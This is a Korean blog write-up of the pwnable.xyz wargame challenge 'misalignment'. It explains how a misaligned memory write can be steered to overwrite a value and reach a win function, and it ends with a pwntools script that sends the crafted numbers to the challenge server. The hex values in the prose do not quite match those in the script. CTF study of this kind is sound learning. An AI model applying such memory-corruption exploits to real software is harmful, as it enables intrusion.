Write up (Wargame)/Pwnable

[pwnable.xyz] misalignment 풀이

그믐​ 2022. 10. 31. 10:45
반응형

이번 문제는 misalignment인데,

드림핵 master_canary를 풀이하려다가 계속 이해가 안 돼서(아니 이게 왜 안됨?)

xyz를 풀기로 했다. 이것도 안되면 어쩔 수 없고..ㅠ

 

 

분석


쓰다보니 생각났는데 노션이나 다른게 더 이쁘다. 역시 티스토리는 이제 거를 때가 온다.

일단 보호기법은 다 걸려있다.

 

IDA에서는 win이라는 함수가 있고 이를 실행시켜야 하는 듯.

 

코드를 이해하려면 포인터 이해가 필요..!

경계를 잘못 지정해서

 

s[1]에 마지막 부분

0x0000000000000000

에서부터

s[2]

0x0000000000000000

까지 0xDEADBEEF 를 대입한다.

 

그렇게 대입이 되면

 

s[1] s[2] 순서로

 

0xEF00000000000000 0x0000000000DEADBE

 

이렇게 들어가있지 않을까.

 

 

풀이


 

그러면 s[1]에 0xB500000000000000 대입

s[2]에 0xB000000를 대입하자.

 

6521212260432478208 6521212260432478208 -6

92274688 92274688 -5

a(종료)

 

 

 

그냥 이대로 하면 된다. 

 

근데 디버거 쓰지 말라고 했었는데..? 아몰랑 걍 한 말이겠지 뭐

 

from pwn import *

#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30003)

payload = str(0x5A80000000000000) + ' ' + str(0x5A80000000000000) +' '+ str(-6)
p.sendline(payload)

p.recv()
payload = str(0x5800000) + ' ' + str(0x5800000) + ' ' + str('-5')
p.sendline(payload)

p.recv()
p.sendline('a')

print(p.recv())

 

반응형